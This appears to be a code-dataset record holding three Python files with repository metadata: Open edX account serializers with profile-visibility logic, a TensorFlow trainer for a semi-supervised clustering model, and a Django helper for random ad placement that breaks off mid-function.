
2022-02-06T12:15:37.000Z

Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/openedx/core/djangoapps/user_api/accounts/serializers.py

osoco/better-ways-of-thinking-about-software

83e70d23c873509e22362a09a10d3510e10f6992

[ "MIT" ]

null

Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/openedx/core/djangoapps/user_api/accounts/serializers.py

osoco/better-ways-of-thinking-about-software

83e70d23c873509e22362a09a10d3510e10f6992

[ "MIT" ]

1

2019-01-02T14:38:50.000Z

""" Django REST Framework serializers for the User API Accounts sub-application """ import json import logging from django.conf import settings from openedx.core.djangoapps.site_configuration import helpers as configuration_helpers from openedx.core.djangoapps.user_api.models import UserPreference from . import (ACCOUNT_VISIBILITY_PREF_KEY, ALL_USERS_VISIBILITY, CUSTOM_VISIBILITY, PRIVATE_VISIBILITY, VISIBILITY_PREFIX) PROFILE_IMAGE_KEY_PREFIX = 'image_url' LOGGER = logging.getLogger(__name__) def get_extended_profile(user_profile): """ Returns the extended user profile fields stored in user_profile.meta """ # pick the keys from the site configuration extended_profile_field_names = configuration_helpers.get_value('extended_profile_fields', []) try: extended_profile_fields_data = json.loads(user_profile.meta) except ValueError: extended_profile_fields_data = {} extended_profile = [] for field_name in extended_profile_field_names: extended_profile.append({ "field_name": field_name, "field_value": extended_profile_fields_data.get(field_name, "") }) return extended_profile def get_profile_visibility(user_profile, user, configuration): """ Returns the visibility level for the specified user profile. """ if user_profile.requires_parental_consent(): return PRIVATE_VISIBILITY # Calling UserPreference directly because the requesting user may be different from existing_user # (and does not have to be is_staff). profile_privacy = UserPreference.get_value(user, ACCOUNT_VISIBILITY_PREF_KEY) if profile_privacy: return profile_privacy else: return configuration.get('default_visibility') def _visible_fields(user_profile, user, configuration=None): """ Return what fields should be visible based on user's preferences :param user_profile: User profile object :param user: User object :param configuration: A visibility configuration dictionary. :return: whitelist List of fields to be shown """ if not configuration: configuration = settings.ACCOUNT_VISIBILITY_CONFIGURATION profile_visibility = get_profile_visibility(user_profile, user, configuration) if profile_visibility == ALL_USERS_VISIBILITY: return configuration.get('bulk_shareable_fields') elif profile_visibility == CUSTOM_VISIBILITY: return _visible_fields_from_custom_preferences(user, configuration) else: return configuration.get('public_fields') def _visible_fields_from_custom_preferences(user, configuration): """ Returns all fields that are marked to be shared with other users in the given user's preferences. Includes fields that are always public. """ preferences = UserPreference.get_all_preferences(user) fields_shared_with_all_users = [ field_name for field_name in configuration.get('custom_shareable_fields') if preferences.get(f'{VISIBILITY_PREFIX}{field_name}') == 'all_users' ] return set(fields_shared_with_all_users + configuration.get('public_fields'))

39.64297

124

0.676895

""" Django REST Framework serializers for the User API Accounts sub-application """ import json import logging import re from django.conf import settings from django.contrib.auth.models import User # lint-amnesty, pylint: disable=imported-auth-user from django.core.exceptions import ObjectDoesNotExist from django.urls import reverse from rest_framework import serializers from edx_name_affirmation.toggles import is_verified_name_enabled from common.djangoapps.student.models import ( LanguageProficiency, PendingNameChange, SocialLink, UserPasswordToggleHistory, UserProfile ) from lms.djangoapps.badges.utils import badges_enabled from openedx.core.djangoapps.site_configuration import helpers as configuration_helpers from openedx.core.djangoapps.user_api import errors from openedx.core.djangoapps.user_api.accounts.utils import is_secondary_email_feature_enabled from openedx.core.djangoapps.user_api.models import RetirementState, UserPreference, UserRetirementStatus from openedx.core.djangoapps.user_api.serializers import ReadOnlyFieldsSerializerMixin from openedx.core.djangoapps.user_authn.views.registration_form import contains_html, contains_url from . import ( ACCOUNT_VISIBILITY_PREF_KEY, ALL_USERS_VISIBILITY, BIO_MAX_LENGTH, CUSTOM_VISIBILITY, NAME_MIN_LENGTH, PRIVATE_VISIBILITY, VISIBILITY_PREFIX ) from .image_helpers import get_profile_image_urls_for_user from .utils import format_social_link, validate_social_link PROFILE_IMAGE_KEY_PREFIX = 'image_url' LOGGER = logging.getLogger(__name__) class PhoneNumberSerializer(serializers.BaseSerializer): # lint-amnesty, pylint: disable=abstract-method """ Class to serialize phone number into a digit only representation """ def to_internal_value(self, data): """Remove all non numeric characters in phone number""" return re.sub("[^0-9]", "", data) or None class LanguageProficiencySerializer(serializers.ModelSerializer): """ Class that serializes the LanguageProficiency model for account information. """ class Meta: model = LanguageProficiency fields = ("code",) def get_identity(self, data): """ This is used in bulk updates to determine the identity of an object. The default is to use the id of an object, but we want to override that and consider the language code to be the canonical identity of a LanguageProficiency model. """ try: return data.get('code', None) except AttributeError: return None class SocialLinkSerializer(serializers.ModelSerializer): """ Class that serializes the SocialLink model for the UserProfile object. """ class Meta: model = SocialLink fields = ("platform", "social_link") def validate_platform(self, platform): """ Validate that the platform value is one of (facebook, twitter or linkedin) """ valid_platforms = ["facebook", "twitter", "linkedin"] if platform not in valid_platforms: raise serializers.ValidationError( "The social platform must be facebook, twitter or linkedin" ) return platform class UserReadOnlySerializer(serializers.Serializer): # lint-amnesty, pylint: disable=abstract-method """ Class that serializes the User model and UserProfile model together. """ def __init__(self, *args, **kwargs): # Don't pass the 'configuration' arg up to the superclass self.configuration = kwargs.pop('configuration', None) if not self.configuration: self.configuration = settings.ACCOUNT_VISIBILITY_CONFIGURATION # Don't pass the 'custom_fields' arg up to the superclass self.custom_fields = kwargs.pop('custom_fields', []) super().__init__(*args, **kwargs) def to_representation(self, user): # lint-amnesty, pylint: disable=arguments-differ """ Overwrite to_native to handle custom logic since we are serializing three models as one here :param user: User object :return: Dict serialized account """ try: user_profile = user.profile except ObjectDoesNotExist: user_profile = None LOGGER.warning("user profile for the user [%s] does not exist", user.username) try: account_recovery = user.account_recovery except ObjectDoesNotExist: account_recovery = None try: activation_key = user.registration.activation_key except ObjectDoesNotExist: activation_key = None accomplishments_shared = badges_enabled() data = { "username": user.username, "url": self.context.get('request').build_absolute_uri( reverse('accounts_api', kwargs={'username': user.username}) ), "email": user.email, "id": user.id, # For backwards compatibility: Tables created after the upgrade to Django 1.8 will save microseconds. # However, mobile apps are not expecting microsecond in the serialized value. If we set it to zero the # DRF JSONEncoder will not include it in the serialized value. # https://docs.djangoproject.com/en/1.8/ref/databases/#fractional-seconds-support-for-time-and-datetime-fields "date_joined": user.date_joined.replace(microsecond=0), "last_login": user.last_login, "is_active": user.is_active, "activation_key": activation_key, "bio": None, "country": None, "state": None, "profile_image": None, "language_proficiencies": None, "name": None, "gender": None, "goals": None, "year_of_birth": None, "level_of_education": None, "mailing_address": None, "requires_parental_consent": None, "accomplishments_shared": accomplishments_shared, "account_privacy": self.configuration.get('default_visibility'), "social_links": None, "extended_profile_fields": None, "phone_number": None, "pending_name_change": None, "is_verified_name_enabled": is_verified_name_enabled(), } if user_profile: data.update( { "bio": AccountLegacyProfileSerializer.convert_empty_to_None(user_profile.bio), "country": AccountLegacyProfileSerializer.convert_empty_to_None(user_profile.country.code), "state": AccountLegacyProfileSerializer.convert_empty_to_None(user_profile.state), "profile_image": AccountLegacyProfileSerializer.get_profile_image( user_profile, user, self.context.get('request') ), "language_proficiencies": LanguageProficiencySerializer( user_profile.language_proficiencies.all().order_by('code'), many=True ).data, "name": user_profile.name, "gender": AccountLegacyProfileSerializer.convert_empty_to_None(user_profile.gender), "goals": user_profile.goals, "year_of_birth": user_profile.year_of_birth, "level_of_education": AccountLegacyProfileSerializer.convert_empty_to_None( user_profile.level_of_education ), "mailing_address": user_profile.mailing_address, "requires_parental_consent": user_profile.requires_parental_consent(), "account_privacy": get_profile_visibility(user_profile, user, self.configuration), "social_links": SocialLinkSerializer( user_profile.social_links.all().order_by('platform'), many=True ).data, "extended_profile": get_extended_profile(user_profile), "phone_number": user_profile.phone_number, } ) try: pending_name_change = PendingNameChange.objects.get(user=user) data.update({"pending_name_change": pending_name_change.new_name}) except PendingNameChange.DoesNotExist: pass if is_secondary_email_feature_enabled(): data.update( { "secondary_email": account_recovery.secondary_email if account_recovery else None, "secondary_email_enabled": True, } ) if self.custom_fields: fields = self.custom_fields elif user_profile: fields = _visible_fields(user_profile, user, self.configuration) else: fields = self.configuration.get('public_fields') return self._filter_fields( fields, data ) def _filter_fields(self, field_whitelist, serialized_account): """ Filter serialized account Dict to only include whitelisted keys """ visible_serialized_account = {} for field_name in field_whitelist: visible_serialized_account[field_name] = serialized_account.get(field_name, None) return visible_serialized_account class UserAccountDisableHistorySerializer(serializers.ModelSerializer): """ Class that serializes User account disable history """ created_by = serializers.SerializerMethodField() class Meta: model = UserPasswordToggleHistory fields = ("created", "comment", "disabled", "created_by") def get_created_by(self, user_password_toggle_history): return user_password_toggle_history.created_by.username class AccountUserSerializer(serializers.HyperlinkedModelSerializer, ReadOnlyFieldsSerializerMixin): """ Class that serializes the portion of User model needed for account information. """ password_toggle_history = UserAccountDisableHistorySerializer(many=True, required=False) class Meta: model = User fields = ("username", "email", "date_joined", "is_active", "password_toggle_history") read_only_fields = fields explicit_read_only_fields = () class AccountLegacyProfileSerializer(serializers.HyperlinkedModelSerializer, ReadOnlyFieldsSerializerMixin): """ Class that serializes the portion of UserProfile model needed for account information. """ profile_image = serializers.SerializerMethodField("_get_profile_image") requires_parental_consent = serializers.SerializerMethodField() language_proficiencies = LanguageProficiencySerializer(many=True, required=False) social_links = SocialLinkSerializer(many=True, required=False) phone_number = PhoneNumberSerializer(required=False) class Meta: model = UserProfile fields = ( "name", "gender", "goals", "year_of_birth", "level_of_education", "country", "state", "social_links", "mailing_address", "bio", "profile_image", "requires_parental_consent", "language_proficiencies", "phone_number" ) # Currently no read-only field, but keep this so view code doesn't need to know. read_only_fields = () explicit_read_only_fields = ("profile_image", "requires_parental_consent") def validate_bio(self, new_bio): """ Enforce maximum length for bio. """ if len(new_bio) > BIO_MAX_LENGTH: raise serializers.ValidationError( f"The about me field must be at most {BIO_MAX_LENGTH} characters long." ) return new_bio def validate_name(self, new_name): """ Enforce minimum length for name. """ if len(new_name) < NAME_MIN_LENGTH: raise serializers.ValidationError( f"The name field must be at least {NAME_MIN_LENGTH} character long." ) return new_name def validate_language_proficiencies(self, value): """ Enforce all languages are unique. """ language_proficiencies = [language for language in value] # lint-amnesty, pylint: disable=unnecessary-comprehension unique_language_proficiencies = {language["code"] for language in language_proficiencies} if len(language_proficiencies) != len(unique_language_proficiencies): raise serializers.ValidationError("The language_proficiencies field must consist of unique languages.") return value def validate_social_links(self, value): """ Enforce only one entry for a particular social platform. """ social_links = [social_link for social_link in value] # lint-amnesty, pylint: disable=unnecessary-comprehension unique_social_links = {social_link["platform"] for social_link in social_links} if len(social_links) != len(unique_social_links): raise serializers.ValidationError("The social_links field must consist of unique social platforms.") return value def transform_gender(self, user_profile, value): # pylint: disable=unused-argument """ Converts empty string to None, to indicate not set. Replaced by to_representation in version 3. """ return AccountLegacyProfileSerializer.convert_empty_to_None(value) def transform_country(self, user_profile, value): # pylint: disable=unused-argument """ Converts empty string to None, to indicate not set. Replaced by to_representation in version 3. """ return AccountLegacyProfileSerializer.convert_empty_to_None(value) def transform_level_of_education(self, user_profile, value): # pylint: disable=unused-argument """ Converts empty string to None, to indicate not set. Replaced by to_representation in version 3. """ return AccountLegacyProfileSerializer.convert_empty_to_None(value) def transform_bio(self, user_profile, value): # pylint: disable=unused-argument """ Converts empty string to None, to indicate not set. Replaced by to_representation in version 3. """ return AccountLegacyProfileSerializer.convert_empty_to_None(value) def transform_phone_number(self, user_profile, value): # pylint: disable=unused-argument """ Converts empty string to None, to indicate not set. Replaced by to_representation in version 3. """ return AccountLegacyProfileSerializer.convert_empty_to_None(value) @staticmethod def convert_empty_to_None(value): """ Helper method to convert empty string to None (other values pass through). """ return None if value == "" else value @staticmethod def get_profile_image(user_profile, user, request=None): """ Returns metadata about a user's profile image. """ data = {'has_image': user_profile.has_profile_image} urls = get_profile_image_urls_for_user(user, request) data.update({ f'{PROFILE_IMAGE_KEY_PREFIX}_{size_display_name}': url for size_display_name, url in urls.items() }) return data def get_requires_parental_consent(self, user_profile): """ Returns a boolean representing whether the user requires parental controls. """ return user_profile.requires_parental_consent() def _get_profile_image(self, user_profile): """ Returns metadata about a user's profile image This protected method delegates to the static 'get_profile_image' method because 'serializers.SerializerMethodField("_get_profile_image")' will call the method with a single argument, the user_profile object. """ return AccountLegacyProfileSerializer.get_profile_image(user_profile, user_profile.user) def _update_social_links(self, instance, requested_social_links): """ Update the given profile instance's social links as requested. """ try: new_social_links = [] deleted_social_platforms = [] for requested_link_data in requested_social_links: requested_platform = requested_link_data['platform'] requested_link_url = requested_link_data['social_link'] validate_social_link(requested_platform, requested_link_url) formatted_link = format_social_link(requested_platform, requested_link_url) if not formatted_link: deleted_social_platforms.append(requested_platform) else: new_social_links.append( SocialLink(user_profile=instance, platform=requested_platform, social_link=formatted_link) ) platforms_of_new_social_links = [s.platform for s in new_social_links] current_social_links = list(instance.social_links.all()) unreplaced_social_links = [ social_link for social_link in current_social_links if social_link.platform not in platforms_of_new_social_links ] pruned_unreplaced_social_links = [ social_link for social_link in unreplaced_social_links if social_link.platform not in deleted_social_platforms ] merged_social_links = new_social_links + pruned_unreplaced_social_links instance.social_links.all().delete() instance.social_links.bulk_create(merged_social_links) except ValueError as err: # If we have encountered any validation errors, return them to the user. raise errors.AccountValidationError({ 'social_links': { "developer_message": f"Error when adding new social link: '{str(err)}'", "user_message": str(err) } }) def update(self, instance, validated_data): """ Update the profile, including nested fields. Raises: errors.AccountValidationError: the update was not attempted because validation errors were found with the supplied update """ language_proficiencies = validated_data.pop("language_proficiencies", None) # Update all fields on the user profile that are writeable, # except for "language_proficiencies" and "social_links", which we'll update separately update_fields = set(self.get_writeable_fields()) - {"language_proficiencies"} - {"social_links"} for field_name in update_fields: default = getattr(instance, field_name) field_value = validated_data.get(field_name, default) setattr(instance, field_name, field_value) # Update the related language proficiency if language_proficiencies is not None: instance.language_proficiencies.all().delete() instance.language_proficiencies.bulk_create([ LanguageProficiency(user_profile=instance, code=language["code"]) for language in language_proficiencies ]) # Update the user's social links requested_social_links = self._kwargs['data'].get('social_links') # lint-amnesty, pylint: disable=no-member if requested_social_links: self._update_social_links(instance, requested_social_links) instance.save() return instance class RetirementUserProfileSerializer(serializers.ModelSerializer): """ Serialize a small subset of UserProfile data for use in RetirementStatus APIs """ class Meta: model = UserProfile fields = ('id', 'name') class RetirementUserSerializer(serializers.ModelSerializer): """ Serialize a small subset of User data for use in RetirementStatus APIs """ profile = RetirementUserProfileSerializer(read_only=True) class Meta: model = User fields = ('id', 'username', 'email', 'profile') class RetirementStateSerializer(serializers.ModelSerializer): """ Serialize a small subset of RetirementState data for use in RetirementStatus APIs """ class Meta: model = RetirementState fields = ('id', 'state_name', 'state_execution_order') class UserRetirementStatusSerializer(serializers.ModelSerializer): """ Perform serialization for the RetirementStatus model """ user = RetirementUserSerializer(read_only=True) current_state = RetirementStateSerializer(read_only=True) last_state = RetirementStateSerializer(read_only=True) class Meta: model = UserRetirementStatus exclude = ['responses', ] class UserSearchEmailSerializer(serializers.ModelSerializer): """ Perform serialization for the User model used in accounts/search_emails endpoint. """ class Meta: model = User fields = ('email', 'id', 'username') class UserRetirementPartnerReportSerializer(serializers.Serializer): """ Perform serialization for the UserRetirementPartnerReportingStatus model """ user_id = serializers.IntegerField() student_id = serializers.CharField(required=False) original_username = serializers.CharField() original_email = serializers.EmailField() original_name = serializers.CharField() orgs = serializers.ListField(child=serializers.CharField()) orgs_config = serializers.ListField(required=False) created = serializers.DateTimeField() # Required overrides of abstract base class methods, but we don't use them def create(self, validated_data): pass def update(self, instance, validated_data): pass class PendingNameChangeSerializer(serializers.Serializer): # lint-amnesty, pylint: disable=abstract-method """ Serialize the PendingNameChange model """ new_name = serializers.CharField() class Meta: model = PendingNameChange fields = ('new_name',) def validate_new_name(self, new_name): if contains_html(new_name): raise serializers.ValidationError('Name cannot contain the following characters: < >') if contains_url(new_name): raise serializers.ValidationError('Name cannot contain a URL') def get_extended_profile(user_profile): """ Returns the extended user profile fields stored in user_profile.meta """ # pick the keys from the site configuration extended_profile_field_names = configuration_helpers.get_value('extended_profile_fields', []) try: extended_profile_fields_data = json.loads(user_profile.meta) except ValueError: extended_profile_fields_data = {} extended_profile = [] for field_name in extended_profile_field_names: extended_profile.append({ "field_name": field_name, "field_value": extended_profile_fields_data.get(field_name, "") }) return extended_profile def get_profile_visibility(user_profile, user, configuration): """ Returns the visibility level for the specified user profile. """ if user_profile.requires_parental_consent(): return PRIVATE_VISIBILITY # Calling UserPreference directly because the requesting user may be different from existing_user # (and does not have to be is_staff). profile_privacy = UserPreference.get_value(user, ACCOUNT_VISIBILITY_PREF_KEY) if profile_privacy: return profile_privacy else: return configuration.get('default_visibility') def _visible_fields(user_profile, user, configuration=None): """ Return what fields should be visible based on user's preferences :param user_profile: User profile object :param user: User object :param configuration: A visibility configuration dictionary. :return: whitelist List of fields to be shown """ if not configuration: configuration = settings.ACCOUNT_VISIBILITY_CONFIGURATION profile_visibility = get_profile_visibility(user_profile, user, configuration) if profile_visibility == ALL_USERS_VISIBILITY: return configuration.get('bulk_shareable_fields') elif profile_visibility == CUSTOM_VISIBILITY: return _visible_fields_from_custom_preferences(user, configuration) else: return configuration.get('public_fields') def _visible_fields_from_custom_preferences(user, configuration): """ Returns all fields that are marked to be shared with other users in the given user's preferences. Includes fields that are always public. """ preferences = UserPreference.get_all_preferences(user) fields_shared_with_all_users = [ field_name for field_name in configuration.get('custom_shareable_fields') if preferences.get(f'{VISIBILITY_PREFIX}{field_name}') == 'all_users' ] return set(fields_shared_with_all_users + configuration.get('public_fields'))

0

613

0

19,924

0

706

684

c14b091cf5862855f63fbbe263409ba8262d2632

12,598

py

Python

cclp/neuralnet/trainers/trainers.py

Kamnitsask/ssl_compact_clustering

19938d295493f6c9f2c19a60ccb1bb9a3596906c

[ "Apache-2.0" ]

61

2019-06-06T19:22:14.000Z

2022-03-24T01:38:59.000Z

cclp/neuralnet/trainers/trainers.py

Kamnitsask/ssl_compact_clustering

19938d295493f6c9f2c19a60ccb1bb9a3596906c

[ "Apache-2.0" ]

3

2019-07-22T14:24:55.000Z

2020-09-30T09:15:34.000Z

cclp/neuralnet/trainers/trainers.py

Kamnitsask/ssl_compact_clustering

19938d295493f6c9f2c19a60ccb1bb9a3596906c

[ "Apache-2.0" ]

10

2019-06-06T18:41:27.000Z

2022-03-24T01:39:13.000Z

#!/usr/bin/env python # Copyright (c) 2018, Konstantinos Kamnitsas # # This program is free software; you can redistribute and/or modify # it under the terms of the Apache License, Version 2.0. See the # accompanying LICENSE file or read the terms at: # http://www.apache.org/licenses/LICENSE-2.0 from __future__ import absolute_import, division, print_function import logging LOG = logging.getLogger('main')

54.301724

230

0.656057

#!/usr/bin/env python # Copyright (c) 2018, Konstantinos Kamnitsas # # This program is free software; you can redistribute and/or modify # it under the terms of the Apache License, Version 2.0. See the # accompanying LICENSE file or read the terms at: # http://www.apache.org/licenses/LICENSE-2.0 from __future__ import absolute_import, division, print_function import logging LOG = logging.getLogger('main') import tensorflow as tf from cclp.routines.schedules.schedules import apply_growth from cclp.neuralnet.trainers import losses class Trainer(object): # A class separate than the model, to keep separately the optimization state. def __init__(self, params, net_model, t_sup_labels): self._params = params # A dictionary or dictionary-like ConfigFlags. self._ema = tf.train.ExponentialMovingAverage(decay=0.99) self._loss_total_weighted = self._setup_losses( net_model, t_sup_labels ) self._t_learning_rate = self._get_t_learning_rate( net_model ) # Can be returning scalar or tensor (eg from schedule). self._train_op = self._create_train_op() self._increase_model_step_op = tf.assign( net_model.get_t_step(), net_model.get_t_step() + 1) tf.summary.scalar( 'Loss_Total_weighted', self._loss_total_weighted ) tf.summary.scalar( 'Learning_Rate', self._t_learning_rate ) def _setup_losses(self, net_model, t_sup_labels): # net_model: Instance of ./cclp/neuralnet/models/classifier/Classifier. losses.add_softmax_cross_entr( logits = net_model.tensor_families["train_sup"]["logits_tens"], lbls = t_sup_labels, weight = self._params["logit_weight"] ) if self._params["cc_loss_on"]: losses.add_cclp_loss( Z_l = net_model.tensor_families["train_sup"]["emb_z_tens"], Z_u = net_model.tensor_families["train_unsup"]["emb_z_tens"], y_l_lbls = t_sup_labels, c_classes = net_model.get_num_classes(), # Params for creating the graph sim_metric = self._params["cc_sim_metric"], l2_sigmas = self._params["cc_l2_sigmas_init"], l2_sigmas_trainable = self._params["cc_l2_sigmas_trainable"], # Params for CCLP loss cclp_weight = self._params["cc_weight"], cclp_steps = self._params["cc_steps"], sum_over_chains = self._params["cc_sum_over_chains"], # Others e_smooth = self._params["cc_e_smooth"], optim_smooth_mtx = self._params["cc_optim_smooth_mtx"] ) loss_total_weighted = tf.losses.get_total_loss(add_regularization_losses=True) # tf keeps track of everything. Losses registered eg in add_logit_loss and L2 are here. return loss_total_weighted def _get_t_learning_rate(self, net_model): # Set up learning rate if self._params["lr_sched_type"] == 'expon_decay': t_learning_rate = tf.maximum( tf.train.exponential_decay( self._params["lr_expon_init"], net_model.get_t_step(), self._params["lr_expon_decay_steps"], self._params["lr_expon_decay_factor"], staircase=True), self._params["lr_min_value"]) elif self._params["lr_sched_type"] == 'piecewise': # In github it was said that piecewise was used for svhn. t_learning_rate = tf.maximum( tf.train.piecewise_constant( net_model.get_t_step(), boundaries = [ tf.cast(v, tf.int32) for v in self._params["lr_piecewise_boundaries"] ], values = self._params["lr_piecewise_values"] ), self._params["lr_min_value"]) return t_learning_rate def _get_grads_after_calc_grads_and_g_to_v_per_loss(self, list_of_trainable_vars): # Get all losses list_of_all_added_losses = tf.losses.get_losses() # THIS DOES NOT INCLUDE REGULARIZATION LOSSES! # ... See last line: https://github.com/tensorflow/tensorflow/blob/r1.5/tensorflow/python/ops/losses/util.py list_of_all_added_losses += tf.get_collection( tf.GraphKeys.REGULARIZATION_LOSSES ) # This is where L2 is placed. LOG.debug("list_of_all_added_losses = " + str(list_of_all_added_losses) ) LOG.debug("tf.get_collection( tf.GraphKeys.REGULARIZATION_LOSSES ) = " + str(tf.get_collection(tf.GraphKeys.REGULARIZATION_LOSSES)) ) list_of_grads_for_each_var_per_loss = [] # will be of shape NumLosses x numVars for loss in list_of_all_added_losses: LOG.info('Computing grads of each var wrt Loss: '+loss.name ) grads_for_this_loss = tf.gradients( loss, list_of_trainable_vars ) list_of_grads_for_each_var_per_loss.append( grads_for_this_loss ) # Now that you have for each variable, the gradients from the different losses separately, compute the ratios to the variable's value, and an ema to report. list_of_loss_names_to_print_ratios = ['loss_logit_weighted', 'loss_LP_unl_entr_weighted', 'loss_hop0_weighted', 'loss_hop1_weighted', 'loss_hop2_weighted', 'loss_hop3_weighted', 'loss_hop4_weighted', 'loss_hop5_weighted', 'loss_hopNeg0_weighted' ] list_of_ema_update_ops = [] for loss_i in range( len(list_of_all_added_losses) ) : this_loss_name = list_of_all_added_losses[loss_i].name if any( [ this_loss_name.startswith( name_of_interest ) for name_of_interest in list_of_loss_names_to_print_ratios ] ): LOG.debug('LOSS FOUND! this_loss_name='+this_loss_name) grads_for_this_loss = list_of_grads_for_each_var_per_loss[loss_i] sum_of_all_pow2_grads = 0 sum_of_all_pow2_vars = 0 for grad, var in zip( grads_for_this_loss, list_of_trainable_vars ): # Each "grad" is of different shape. eg a tensor of shape [3,3,32,32] for conv, or [3] for bias, etc. So I need to treat them carefully. # Same for Variables tensors. if grad is None: continue # eg in the case that a var does not depend on a loss. eg classif layer to auxiliary losses. sum_of_all_pow2_grads += tf.reduce_sum( tf.pow(grad, 2) ) sum_of_all_pow2_vars += tf.reduce_sum( tf.pow(var, 2) ) norm_grads = tf.sqrt( sum_of_all_pow2_grads ) norm_vars = tf.sqrt( sum_of_all_pow2_vars ) ratio_g_to_v = norm_grads / norm_vars # Maintain and report a moving average for each ratio: list_of_ema_update_ops.append( self._ema.apply([ratio_g_to_v]) ) ema_ratio_g_to_v = self._ema.average( ratio_g_to_v ) tf.summary.scalar('RatioGtoV_'+this_loss_name, ema_ratio_g_to_v) # Add up the gradients from each different loss into one total gradient for each variable, that the optimizer will then apply grads_total_for_each_var = None for grads_wrt_specific_loss in list_of_grads_for_each_var_per_loss: if grads_total_for_each_var is None: grads_total_for_each_var = grads_wrt_specific_loss else: assert len(grads_total_for_each_var) == len(grads_wrt_specific_loss) num_var_n_grad_tensors = len(grads_total_for_each_var) for grad_i in range( num_var_n_grad_tensors ): if grads_wrt_specific_loss[grad_i] is None: continue # eg if a loss does not depend on a variable. Eg, LP losses wrt classification layer. elif grads_total_for_each_var[grad_i] is None: # eg if the corresponding variable was independent of the very first loss. grads_total_for_each_var[grad_i] = grads_wrt_specific_loss[grad_i] else: grads_total_for_each_var[grad_i] = grads_total_for_each_var[grad_i] + grads_wrt_specific_loss[grad_i] return grads_total_for_each_var, list_of_ema_update_ops def _create_train_op(self): list_of_optimizers = [] list_of_trainable_var_collections = [] list_of_train_ops = [] """ LOG.debug("***** Are we correctly getting update ops of BN? *****" ) LOG.debug("tf.get_collection(tf.GraphKeys.UPDATE_OPS)=" + str( tf.get_collection(tf.GraphKeys.UPDATE_OPS) ) ) LOG.debug("len( tf.get_collection(tf.GraphKeys.UPDATE_OPS) ) = " + str( len(tf.get_collection(tf.GraphKeys.UPDATE_OPS)) ) ) for thing in tf.get_collection(tf.GraphKeys.UPDATE_OPS): LOG.debug( "thing = " + str(thing) ) """ # Make main op, training all the tf.GraphKeys.TRAINABLE_VARIABLES. All separately trained are in different collections. trainable_vars_main = tf.get_collection( tf.GraphKeys.TRAINABLE_VARIABLES ) list_of_trainable_var_collections.append( trainable_vars_main ) # concatente all trainable vars in a list/collection. optimizer_main = tf.train.AdamOptimizer( self._t_learning_rate, beta1=0.9, beta2=0.999, epsilon=1e-07 ) #optimizer_main = tf.train.RMSPropOptimizer( self._t_learning_rate, decay=0.9, momentum=0.6, epsilon=1e-8 ) #optimizer_main = tf.train.MomentumOptimizer( self._t_learning_rate, momentum=0.9, use_nesterov=True ) list_of_optimizers.append( optimizer_main ) if self._params["cc_loss_on"] and self._params["cc_sim_metric"] == "L2" and self._params['cc_l2_sigmas_trainable']: trainable_lp_l2_sigmas = tf.get_collection( 'TRAINABLE_LP_L2_SIGMAS' ) list_of_trainable_var_collections.append( trainable_lp_l2_sigmas ) optimizer_sigmas = tf.train.AdamOptimizer( self._t_learning_rate * self._params['cc_l2_sigmas_lr_multipl'] ) list_of_optimizers.append( optimizer_sigmas ) # Add more "special" trainable var collections here if needed... # Get all trainable vars in one list list_of_trainable_vars = [ var for sublist in list_of_trainable_var_collections for var in sublist ] if self._params["track_ratio_g_v"] : LOG.debug("Going to calculate grads per loss separately, to track ratio of grads/var. Slow." ) # grads_total_for_each_var: total gradient for each variable. shape: number of variables. # list_of_ema_update_ops: one for each tracked loss in list_of_loss_names_to_print_ratios grads_total_for_each_var, list_of_ema_update_ops = self._get_grads_after_calc_grads_and_g_to_v_per_loss(list_of_trainable_vars) else : LOG.debug("Not tracking grads/var. Calc grad from total_loss." ) grads_total_for_each_var = tf.gradients( self._loss_total_weighted, list_of_trainable_vars ) list_of_ema_update_ops = [] # Now lets apply the grads to the parameters, with the appropriate optimiser / learningRate. low_counter = 0 for i in range( len(list_of_trainable_var_collections) ) : var_collection = list_of_trainable_var_collections[i] high_counter = low_counter+len(var_collection) grads_for_this_var_collection = grads_total_for_each_var[ low_counter: high_counter ] optimizer = list_of_optimizers[i] train_op = optimizer.apply_gradients( zip(grads_for_this_var_collection, var_collection) ) list_of_train_ops.append(train_op) low_counter = high_counter all_ops_to_run_at_one_train_step = list_of_train_ops all_ops_to_run_at_one_train_step += list_of_ema_update_ops all_ops_to_run_at_one_train_step += tf.get_collection(tf.GraphKeys.UPDATE_OPS) # This one keeps updates of Batch normalization. total_train_op = tf.group( *all_ops_to_run_at_one_train_step ) return total_train_op def get_train_op(self): return self._train_op def get_increase_model_step_op(self): return self._increase_model_step_op

0

12,018

0

60

91

69e1c7f030fdae6cc022477307bb6b668d3bc021

2,726

py

Python

api/Random_positions.py

TeaBreak-Tech/funtube_be

c244739fb4b9cced244cea4717bde3f09f8d86cf

[ "MIT" ]

null

api/Random_positions.py

TeaBreak-Tech/funtube_be

c244739fb4b9cced244cea4717bde3f09f8d86cf

[ "MIT" ]

null

api/Random_positions.py

TeaBreak-Tech/funtube_be

c244739fb4b9cced244cea4717bde3f09f8d86cf

[ "MIT" ]

null

#import util_preparation as up PREVENT_DURATION = 60 START_PREVENT_DURATION = 120 END_PREVENT_DURATION = 120

29.956044

100

0.573001

#import util_preparation as up import pandas as pd import random import os import csv from .models import * PREVENT_DURATION = 60 START_PREVENT_DURATION = 120 END_PREVENT_DURATION = 120 def generagte_random_ads(video_id,N_ADS=3): # 确定插入的广告 # 可用广告在 ad_urls.csv 里查询 ads = [] ads = [[ad.ad_id, ad.href, ad.src] for ad in Ad.objects.all() if ad.ad_id != 1] # reader = csv.reader(open(r"/home/www/res/ad/ad_urls.csv", "r",encoding="utf8")) # for item in reader: # ad_id = int(item[0]) # ad_url = item[1] # ads.append([ad_id, ad_url]) # 随机取 N_ADS 个 ads = random.sample(ads, N_ADS) # 确定插入时间 # 遍历全部_shot.csv，找到当前视频的对应 _shot.csv available_times = [] available_local_shot_ids = [] for path,dir_list,file_list in os.walk(r"/home/www/res/video_shot_csv"): for file_name in file_list: id = int(file_name.split("/")[-1].split("_")[0].replace("video","")) video = Video.objects.get(video_id=video_id) v_length = video.length shots:Shot = Shot.objects.filter(video=video) for shot in shots: #start_time = float(item[START_TIME_COL]) end_time = shot.end_time # 每一个镜头的结束时间可以作为候选时间点 # 离开头和结尾过近(END_PREVENT_DURATION)的时间点自动剔除 if end_time > START_PREVENT_DURATION and end_time < v_length - END_PREVENT_DURATION: available_times.append(end_time) available_local_shot_ids.append(shot.local_shot_id) def randomize_time(): ad_times = random.sample(available_times, N_ADS) ad_times.sort() for i in range(0,N_ADS): if (i-1)>0: if abs(ad_times[i] - 